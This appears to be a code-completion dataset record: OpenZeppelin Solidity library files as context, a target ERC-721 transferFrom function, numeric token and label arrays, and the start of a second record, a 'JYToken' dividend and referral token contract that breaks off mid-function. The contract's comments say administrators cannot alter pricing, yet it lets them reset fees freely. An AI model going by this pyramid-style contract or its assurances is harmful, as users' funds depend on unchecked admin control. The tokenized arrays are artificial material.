*/ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
* @dev See {IERC721-transferFrom}./
function transferFrom(address from, address to, uint256 tokenId) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); }
5,860,699
[ 1, 9704, 288, 45, 654, 39, 27, 5340, 17, 13866, 1265, 5496, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 1265, 12, 2867, 628, 16, 1758, 358, 16, 2254, 5034, 1147, 548, 13, 1071, 5024, 3849, 288, 203, 3639, 2583, 12, 203, 5411, 389, 291, 31639, 1162, 5541, 24899, 3576, 12021, 9334, 1147, 548, 3631, 203, 5411, 315, 654, 39, 27, 5340, 30, 7412, 4894, 353, 486, 3410, 12517, 20412, 6, 203, 3639, 11272, 203, 203, 3639, 389, 13866, 12, 2080, 16, 358, 16, 1147, 548, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.23; contract JYToken { /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } // administrators can: // -> change the name of the contract // -> change the name of the token // -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later) // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[keccak256(_customerAddress)]); _; } // result: healthy longevity. modifier ctrlEarlyWhale(uint256 _amountOfEthereum){ address _customerAddress = msg.sender; // are we still in the vulnerable phase? // if so, enact anti early whale protocol if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){ require( // is the customer in the ambassador list? ambassadors_[_customerAddress] == true && // does the customer purchase exceed the max ambassador quota? (ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_ ); // updated the accumulated quota ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum); // execute _; } else { // in case the ether count drops low, the ambassador phase won&#39;t reinitiate onlyAmbassadors = false; _; } } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); event Approval( address indexed tokenOwner, address indexed spender, uint tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "Jie Yue Token"; string public symbol = "JYT"; uint8 constant public decimals = 18; uint8 public dividendFee_ = 10; uint8 public referralFee_=3; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2**64; // proof of stake (defaults at 100 tokens) uint256 public stakingRequirement = 100e18; // ambassador program mapping(address => bool) internal ambassadors_; uint256 constant internal ambassadorMaxPurchase_ = 60 ether; uint256 constant internal ambassadorQuota_ = 60 ether; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal ambassadorAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; // administrator list (see above on what they can do) mapping(bytes32 => bool) public administrators; // when this is set to true, only ambassadors can purchase tokens bool public onlyAmbassadors = true; // Mapping of approved ERC20 transfers mapping(address => mapping(address => uint256)) private allowed; mapping(address => bool) public allowed_approvees; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ constructor() public { // add administrators here administrators[0xb82d8144edd3d84dbc65095bcc01dfceca604445bd09dfe24f98dfbfe79a3bfa] = true; // add the ambassadors here. ambassadors_[0x47FdcB06AFa4e01f0e3d48CFc71908FF0dD86a27] = true; } /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) */ function buy(address _referredBy) public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, 0x0); } /** * Converts all of caller&#39;s dividends to tokens. */ function reinvest() onlyStronghands() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends =SafeMath.add(_dividends, referralBalance_[_customerAddress]); referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event emit onReinvestment(_customerAddress, _dividends, _tokens); } /** * Alias of sell() and withdraw(). */ function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /** * Withdraws all of the callers earnings. */ function withdraw() onlyStronghands() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends =SafeMath.add(_dividends, referralBalance_[_customerAddress]); referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event emit onWithdraw(_customerAddress, _dividends); } function withdrawFrom(address _fromAddress) private { // setup data address _customerAddress = _fromAddress; uint256 _dividends = dividendsOf(_customerAddress); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends =SafeMath.add(_dividends, referralBalance_[_customerAddress]); referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event emit onWithdraw(_customerAddress, _dividends); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event emit onTokenSell(_customerAddress, _tokens, _taxedEthereum); } /** * Transfer tokens from the caller to a new holder. */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) { // setup address _fromAddress = msg.sender; // make sure we have the requested tokens require(_amountOfTokens > 0 && _amountOfTokens <= tokenBalanceLedger_[_fromAddress]); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); // exchange tokens tokenBalanceLedger_[_fromAddress] = SafeMath.sub(tokenBalanceLedger_[_fromAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens); // update dividend trackers payoutsTo_[_fromAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); // fire event emit Transfer(_fromAddress, _toAddress, _amountOfTokens); // ERC20 return true; } function transferFrom(address _fromAddress, address _toAddress, uint256 _amountOfTokens) public returns (bool) { require(_amountOfTokens <= allowed[_fromAddress][msg.sender],"not allow this amount"); require(_amountOfTokens > 0 && _amountOfTokens <= tokenBalanceLedger_[_fromAddress],"wrong number of token"); // withdraw all outstanding dividends first uint256 _dividends=SafeMath.add(dividendsOf(_fromAddress),referralBalance_[_fromAddress]); if(_dividends > 0) withdrawFrom(_fromAddress); uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); tokenBalanceLedger_[_fromAddress] =SafeMath.sub(tokenBalanceLedger_[_fromAddress],_amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add( tokenBalanceLedger_[_toAddress],_amountOfTokens); allowed[_fromAddress][msg.sender] = SafeMath.sub(allowed[_fromAddress][msg.sender],_amountOfTokens); // update dividend trackers payoutsTo_[_fromAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); emit Transfer(_fromAddress, _toAddress, _amountOfTokens); return true; } function batchTransfer(address[] _receivers, uint256 _value) onlyBagholders() public returns (bool) { // setup address _fromAddress = msg.sender; uint cnt = _receivers.length; uint256 amount = SafeMath.mul(uint256(cnt) , _value); require(cnt > 0 && cnt <= 20); require(_value > 0 && tokenBalanceLedger_[_fromAddress] >= amount); uint256 _tokenFee; uint256 _taxedTokens; // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); for (uint i = 0; i < cnt; i++) { _tokenFee = SafeMath.div(_value, dividendFee_); _taxedTokens = SafeMath.sub(_value, _tokenFee); // exchange tokens tokenBalanceLedger_[_fromAddress] = SafeMath.sub(tokenBalanceLedger_[_fromAddress], _value); tokenBalanceLedger_[_receivers[i]] = SafeMath.add(tokenBalanceLedger_[_receivers[i]],_value); // update dividend trackers payoutsTo_[_fromAddress] -= (int256) (profitPerShare_ * _value); payoutsTo_[_receivers[i]] += (int256) (profitPerShare_ * _taxedTokens); emit Transfer(_fromAddress, _receivers[i], _value); } return true; } function approve(address approvee, uint256 amount) public returns (bool) { require(allowed_approvees[approvee]==true); allowed[msg.sender][approvee] = amount; emit Approval(msg.sender, approvee, amount); return true; } function allowance(address _fromAddress, address approvee) public constant returns(uint256) { return allowed[_fromAddress][approvee]; } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ /** * In case the amassador quota is not met, the administrator can manually disable the ambassador phase. */ function disableInitialStage() onlyAdministrator() public { onlyAmbassadors = false; } /** * In case one of us dies, we need to replace ourselves. */ function setAdministrator(bytes32 _identifier, bool _status) onlyAdministrator() public { administrators[_identifier] = _status; } function allowApprovee(address approvee, bool _status) onlyAdministrator() public { allowed_approvees[approvee]= _status; } /** * Precautionary measures in case we need to adjust the masternode rate. */ function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } function setDividendFee(uint8 _dividendFee) onlyAdministrator() public { dividendFee_ = _dividendFee; } function setReferralFee(uint8 _referralFee) onlyAdministrator() public { referralFee_ = _referralFee; } /** * If we want to rebrand, we can. */ function setName(string _name) onlyAdministrator() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return this.balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? SafeMath.add(dividendsOf(_customerAddress),referralBalance_[_customerAddress]) : dividendsOf(_customerAddress) ; } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function purchaseTokens(uint256 _incomingEthereum, address _referredBy) ctrlEarlyWhale(_incomingEthereum) internal returns(uint256) { // data setup 